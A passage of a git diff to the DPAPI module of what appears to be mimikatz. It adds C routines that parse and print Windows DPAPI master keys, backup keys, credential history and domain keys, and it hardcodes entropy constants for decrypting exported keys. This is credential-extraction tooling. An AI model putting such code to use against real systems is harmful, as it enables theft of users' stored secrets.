CALG_SHA_384}, - {L"CALG_SHA_512", CALG_SHA_512}, - {L"CALG_ECDH", CALG_ECDH}, - {L"CALG_ECMQV", CALG_ECMQV}, - {L"CALG_ECDSA", CALG_ECDSA}, -}; - -PCWCHAR kull_m_dpapi_algid_to_name(ALG_ID algid) -{ - DWORD i; - for(i = 0; i < ARRAYSIZE(kull_m_dpapi_calgid); i++) - if(kull_m_dpapi_calgid[i].id == algid) - return kull_m_dpapi_calgid[i].name; - return NULL; -} - void kull_m_dpapi_ptr_replace(PVOID ptr, DWORD64 size) { PVOID tempPtr = NULL; @@ -79,7 +19,7 @@ PKULL_M_DPAPI_BLOB kull_m_dpapi_blob_create(PVOID data/*, DWORD size*/) PKULL_M_DPAPI_BLOB blob = NULL; if(blob = (PKULL_M_DPAPI_BLOB) LocalAlloc(LPTR, sizeof(KULL_M_DPAPI_BLOB))) { - RtlCopyMemory(&blob->dwVersion, data, FIELD_OFFSET(KULL_M_DPAPI_BLOB, szDescription)); + RtlCopyMemory(blob, data, FIELD_OFFSET(KULL_M_DPAPI_BLOB, szDescription)); blob->szDescription = (PWSTR) ((PBYTE) data + FIELD_OFFSET(KULL_M_DPAPI_BLOB, szDescription)); RtlCopyMemory(&blob->algCrypt, (PBYTE) blob->szDescription + blob->dwDescriptionLen, blob->dwDescriptionLen + FIELD_OFFSET(KULL_M_DPAPI_BLOB, pbSalt) - FIELD_OFFSET(KULL_M_DPAPI_BLOB, algCrypt)); blob->pbSalt = (PBYTE) blob->szDescription + blob->dwDescriptionLen + FIELD_OFFSET(KULL_M_DPAPI_BLOB, pbSalt) - FIELD_OFFSET(KULL_M_DPAPI_BLOB, algCrypt); @@ -134,13 +74,13 @@ void kull_m_dpapi_blob_descr(PKULL_M_DPAPI_BLOB blob) kprintf(L" dwFlags : %08x - %u\n", blob->dwFlags, blob->dwFlags); kprintf(L" dwDescriptionLen : %08x - %u\n", blob->dwDescriptionLen, blob->dwDescriptionLen); kprintf(L" szDescription : %s\n", blob->szDescription); - kprintf(L" algCrypt : %08x - %u (%s)\n", blob->algCrypt, blob->algCrypt, kull_m_dpapi_algid_to_name(blob->algCrypt)); + kprintf(L" algCrypt : %08x - %u (%s)\n", blob->algCrypt, blob->algCrypt, kull_m_crypto_algid_to_name(blob->algCrypt)); kprintf(L" dwAlgCryptLen : %08x - %u\n", blob->dwAlgCryptLen, blob->dwAlgCryptLen); kprintf(L" dwSaltLen : %08x - %u\n", blob->dwSaltLen, blob->dwSaltLen); kprintf(L" pbSalt : "); kull_m_string_wprintf_hex(blob->pbSalt, blob->dwSaltLen, 0); kprintf(L"\n"); kprintf(L" dwHmacKeyLen : %08x - %u\n", blob->dwHmacKeyLen, blob->dwHmacKeyLen); kprintf(L" pbHmackKey : "); kull_m_string_wprintf_hex(blob->pbHmackKey, blob->dwHmacKeyLen, 0); kprintf(L"\n"); - kprintf(L" algHash : %08x - %u (%s)\n", blob->algHash, blob->algHash, kull_m_dpapi_algid_to_name(blob->algHash)); + kprintf(L" algHash : %08x - %u (%s)\n", blob->algHash, blob->algHash, kull_m_crypto_algid_to_name(blob->algHash)); kprintf(L" dwAlgHashLen : %08x - %u\n", blob->dwAlgHashLen, blob->dwAlgHashLen); kprintf(L" dwHmac2KeyLen : %08x - %u\n", blob->dwHmac2KeyLen, blob->dwHmac2KeyLen); kprintf(L" pbHmack2Key : "); kull_m_string_wprintf_hex(blob->pbHmack2Key, blob->dwHmac2KeyLen, 0); kprintf(L"\n"); @@ -151,14 +91,121 @@ void kull_m_dpapi_blob_descr(PKULL_M_DPAPI_BLOB blob) } } +PKULL_M_DPAPI_MASTERKEY kull_m_dpapi_masterkey_create(PVOID data, DWORD64 size) +{ + PKULL_M_DPAPI_MASTERKEY masterkey = NULL; + if(masterkey = (PKULL_M_DPAPI_MASTERKEY) LocalAlloc(LPTR, sizeof(KULL_M_DPAPI_MASTERKEY))) + { + RtlCopyMemory(masterkey, data, FIELD_OFFSET(KULL_M_DPAPI_MASTERKEY, pbKey)); + masterkey->pbKey = (PBYTE) data + FIELD_OFFSET(KULL_M_DPAPI_MASTERKEY, pbKey); + masterkey->__dwKeyLen = (DWORD) size - FIELD_OFFSET(KULL_M_DPAPI_MASTERKEY, pbKey); + kull_m_dpapi_ptr_replace(&masterkey->pbKey, masterkey->__dwKeyLen); + } + return masterkey; +} + +void kull_m_dpapi_masterkey_delete(PKULL_M_DPAPI_MASTERKEY masterkey) +{ + if(masterkey) + { + if(masterkey->pbKey) + LocalFree(masterkey->pbKey); + LocalFree(masterkey); + } +} + +void kull_m_dpapi_masterkey_descr(PKULL_M_DPAPI_MASTERKEY masterkey) +{ + kprintf(L" **MASTERKEY**\n"); + if(masterkey) + { + kprintf(L" dwVersion : %08x - %u\n", masterkey->dwVersion, masterkey->dwVersion); + kprintf(L" salt : "); kull_m_string_wprintf_hex(masterkey->salt, sizeof(masterkey->salt), 0); kprintf(L"\n"); + kprintf(L" rounds : %08x - %u\n", masterkey->rounds, masterkey->rounds); + kprintf(L" algHash : %08x - %u (%s)\n", masterkey->algHash, masterkey->algHash, kull_m_crypto_algid_to_name(masterkey->algHash)); + kprintf(L" algCrypt : %08x - %u (%s)\n", masterkey->algCrypt, masterkey->algCrypt, kull_m_crypto_algid_to_name(masterkey->algCrypt)); + kprintf(L" pbKey : "); kull_m_string_wprintf_hex(masterkey->pbKey, masterkey->__dwKeyLen, 0); kprintf(L"\n"); + } +} + +PKULL_M_DPAPI_CREDHIST kull_m_dpapi_credhist_create(PVOID data, DWORD64 size) +{ + PKULL_M_DPAPI_CREDHIST credhist = NULL; + if(credhist = (PKULL_M_DPAPI_CREDHIST) LocalAlloc(LPTR, sizeof(KULL_M_DPAPI_CREDHIST))) + RtlCopyMemory(credhist, data, sizeof(KULL_M_DPAPI_CREDHIST)); + return credhist; +} + +void kull_m_dpapi_credhist_delete(PKULL_M_DPAPI_CREDHIST credhist) +{ + if(credhist) + LocalFree(credhist); +} + +void kull_m_dpapi_credhist_descr(PKULL_M_DPAPI_CREDHIST credhist) +{ + kprintf(L" **CREDHIST**\n"); + if(credhist) + { + kprintf(L" dwVersion : %08x - %u\n", credhist->dwVersion, credhist->dwVersion); + kprintf(L" guid : "); kull_m_string_displayGUID(&credhist->guid); kprintf(L"\n"); + } +} + +PKULL_M_DPAPI_DOMAINKEY kull_m_dpapi_domainkey_create(PVOID data, DWORD64 size) +{ + PKULL_M_DPAPI_DOMAINKEY domainkey = NULL; + if(domainkey = (PKULL_M_DPAPI_DOMAINKEY) LocalAlloc(LPTR, sizeof(KULL_M_DPAPI_DOMAINKEY))) + { + RtlCopyMemory(domainkey, data, FIELD_OFFSET(KULL_M_DPAPI_DOMAINKEY, pbSecret)); + domainkey->pbSecret = (PBYTE) data + FIELD_OFFSET(KULL_M_DPAPI_DOMAINKEY, pbSecret); + domainkey->pbAccesscheck = (PBYTE) data + FIELD_OFFSET(KULL_M_DPAPI_DOMAINKEY, pbSecret) + domainkey->dwSecretLen; + kull_m_dpapi_ptr_replace(&domainkey->pbSecret, domainkey->dwSecretLen); + kull_m_dpapi_ptr_replace(&domainkey->pbAccesscheck, domainkey->dwAccesscheckLen); + } + return domainkey; +} + +void kull_m_dpapi_domainkey_delete(PKULL_M_DPAPI_DOMAINKEY domainkey) +{ + if(domainkey) + { + if(domainkey->pbSecret) + LocalFree(domainkey->pbSecret); + if(domainkey->pbAccesscheck) + LocalFree(domainkey->pbAccesscheck); + LocalFree(domainkey); + } +} + +void kull_m_dpapi_domainkey_descr(PKULL_M_DPAPI_DOMAINKEY domainkey) +{ + kprintf(L" **DOMAINKEY**\n"); + if(domainkey) + { + kprintf(L" dwVersion : %08x - %u\n", domainkey->dwVersion, domainkey->dwVersion); + kprintf(L" dwSecretLen : %08x - %u\n", domainkey->dwSecretLen, domainkey->dwSecretLen); + kprintf(L" dwAccesscheckLen : %08x - %u\n", domainkey->dwAccesscheckLen, domainkey->dwAccesscheckLen); + kprintf(L" guidMasterKey : "); kull_m_string_displayGUID(&domainkey->guidMasterKey); kprintf(L"\n"); + kprintf(L" pbSecret : "); kull_m_string_wprintf_hex(domainkey->pbSecret, domainkey->dwSecretLen, 0); kprintf(L"\n"); + kprintf(L" pbAccesscheck : "); kull_m_string_wprintf_hex(domainkey->pbAccesscheck, domainkey->dwAccesscheckLen, 0); kprintf(L"\n"); + } +} PKULL_M_DPAPI_MASTERKEYS kull_m_dpapi_masterkeys_create(PVOID data/*, DWORD size*/) { PKULL_M_DPAPI_MASTERKEYS masterkeys = NULL; if(masterkeys = (PKULL_M_DPAPI_MASTERKEYS) LocalAlloc(LPTR, sizeof(KULL_M_DPAPI_MASTERKEYS))) { - RtlCopyMemory(&masterkeys->dwVersion, data, FIELD_OFFSET(KULL_M_DPAPI_MASTERKEYS, MasterKey)); - /**/ + RtlCopyMemory(masterkeys, data, FIELD_OFFSET(KULL_M_DPAPI_MASTERKEYS, MasterKey)); + if(masterkeys->dwMasterKeyLen) + masterkeys->MasterKey = kull_m_dpapi_masterkey_create((PBYTE) data + FIELD_OFFSET(KULL_M_DPAPI_MASTERKEYS, MasterKey) + 0, masterkeys->dwMasterKeyLen); + if(masterkeys->dwBackupKeyLen) + masterkeys->BackupKey = kull_m_dpapi_masterkey_create((PBYTE) data + FIELD_OFFSET(KULL_M_DPAPI_MASTERKEYS, MasterKey) + masterkeys->dwMasterKeyLen, masterkeys->dwBackupKeyLen); + if(masterkeys->dwCredHistLen) + masterkeys->CredHist = kull_m_dpapi_credhist_create((PBYTE) data + FIELD_OFFSET(KULL_M_DPAPI_MASTERKEYS, MasterKey) + masterkeys->dwMasterKeyLen + masterkeys->dwBackupKeyLen, masterkeys->dwCredHistLen); + if(masterkeys->dwDomainKeyLen) + masterkeys->DomainKey = kull_m_dpapi_domainkey_create((PBYTE) data + FIELD_OFFSET(KULL_M_DPAPI_MASTERKEYS, MasterKey) + masterkeys->dwMasterKeyLen + masterkeys->dwBackupKeyLen + masterkeys->dwCredHistLen, masterkeys->dwDomainKeyLen); } return masterkeys; } @@ -167,7 +214,14 @@ void kull_m_dpapi_masterkeys_delete(PKULL_M_DPAPI_MASTERKEYS masterkeys) { if(masterkeys) { - /**/ + if(masterkeys->MasterKey) + kull_m_dpapi_masterkey_delete(masterkeys->MasterKey); + if(masterkeys->BackupKey) + kull_m_dpapi_masterkey_delete(masterkeys->BackupKey); + if(masterkeys->CredHist) + kull_m_dpapi_credhist_delete(masterkeys->CredHist); + if(masterkeys->DomainKey) + kull_m_dpapi_domainkey_delete(masterkeys->DomainKey); LocalFree(masterkeys); } } @@ -184,7 +238,26 @@ void kull_m_dpapi_masterkeys_descr(PKULL_M_DPAPI_MASTERKEYS masterkeys) kprintf(L" dwBackupKeyLen : %016llx - %u\n", masterkeys->dwBackupKeyLen, masterkeys->dwBackupKeyLen); kprintf(L" dwCredHistLen : %016llx - %u\n", masterkeys->dwCredHistLen, masterkeys->dwCredHistLen); kprintf(L" dwDomainKeyLen : %016llx - %u\n", masterkeys->dwDomainKeyLen, masterkeys->dwDomainKeyLen); - /**/ + + if(masterkeys->MasterKey) + { + kprintf(L"[masterkey]\n"); + kull_m_dpapi_masterkey_descr(masterkeys->MasterKey); + } + if(masterkeys->BackupKey) + { + kprintf(L"[backupkey]\n"); + kull_m_dpapi_masterkey_descr(masterkeys->BackupKey); + } + if(masterkeys->CredHist) + { + kprintf(L"[credhist]\n"); + kull_m_dpapi_credhist_descr(masterkeys->CredHist); + } + if(masterkeys->DomainKey) + { + kprintf(L"[domainkey]\n"); + kull_m_dpapi_domainkey_descr(masterkeys->DomainKey); + } } -} -#endif \ No newline at end of file +} \ No newline at end of file diff --git a/modules/kull_m_dpapi.h b/modules/kull_m_dpapi.h index 1ae4c4c8..a7617e0c 100644 --- a/modules/kull_m_dpapi.h +++ b/modules/kull_m_dpapi.h @@ -4,10 +4,14 @@ Licence : http://creativecommons.org/licenses/by/3.0/fr/ */ #pragma once -#ifdef DPAPI_TOOLS #include "globals.h" +#include "kull_m_crypto.h" #include "kull_m_string.h" +#define KIWI_DPAPI_ENTROPY_CAPI_KEY_EXPORTFLAGS "Hj1diQ6kpUx7VC4m" +#define KIWI_DPAPI_ENTROPY_CNG_KEY_PROPERTIES "6jnkd5J3ZdQDtrsu" +#define KIWI_DPAPI_ENTROPY_CNG_KEY_BLOB "xT5rZW5qVVbrvpuA" + typedef struct _KULL_M_DWORD_TO_DWORD{ PCWSTR name; DWORD id; @@ -54,6 +58,7 @@ typedef struct _KULL_M_DPAPI_MASTERKEY { ALG_ID algHash; ALG_ID algCrypt; PBYTE pbKey; + DWORD __dwKeyLen; } KULL_M_DPAPI_MASTERKEY, *PKULL_M_DPAPI_MASTERKEY; typedef struct _KULL_M_DPAPI_CREDHIST { @@ -89,7 +94,6 @@ typedef struct _KULL_M_DPAPI_MASTERKEYS { } KULL_M_DPAPI_MASTERKEYS, *PKULL_M_DPAPI_MASTERKEYS; #pragma pack(pop) -PCWCHAR kull_m_dpapi_algid_to_name(ALG_ID algid); void kull_m_dpapi_ptr_replace(PVOID ptr, DWORD64 size); PKULL_M_DPAPI_BLOB kull_m_dpapi_blob_create(PVOID data/*, DWORD size*/); void kull_m_dpapi_blob_delete(PKULL_M_DPAPI_BLOB blob); @@ -97,4 +101,12 @@ void kull_m_dpapi_blob_descr(PKULL_M_DPAPI_BLOB blob); PKULL_M_DPAPI_MASTERKEYS kull_m_dpapi_masterkeys_create(PVOID data/*, DWORD size*/); void kull_m_dpapi_masterkeys_delete(PKULL_M_DPAPI_MASTERKEYS masterkeys); void kull_m_dpapi_masterkeys_descr(PKULL_M_DPAPI_MASTERKEYS masterkeys); -#endif \ No newline at end of file +PKULL_M_DPAPI_MASTERKEY kull_m_dpapi_masterkey_create(PVOID data, DWORD64 size); +void kull_m_dpapi_masterkey_delete(PKULL_M_DPAPI_MASTERKEY masterkey); +void kull_m_dpapi_masterkey_descr(PKULL_M_DPAPI_MASTERKEY masterkey); +PKULL_M_DPAPI_CREDHIST kull_m_dpapi_credhist_create(PVOID data, DWORD64 size); +void kull_m_dpapi_credhist_delete(PKULL_M_DPAPI_CREDHIST credhist); +void kull_m_dpapi_credhist_descr(PKULL_M_DPAPI_CREDHIST credhist); +PKULL_M_DPAPI_DOMAINKEY kull_m_dpapi_domainkey_create(PVOID data, DWORD64 size); +void kull_m_dpapi_domainkey_delete(PKULL_M_DPAPI_DOMAINKEY domainkey); +void kull_m_dpapi_domainkey_descr(PKULL_M_DPAPI_DOMAINKEY domainkey); \ No newline at end of file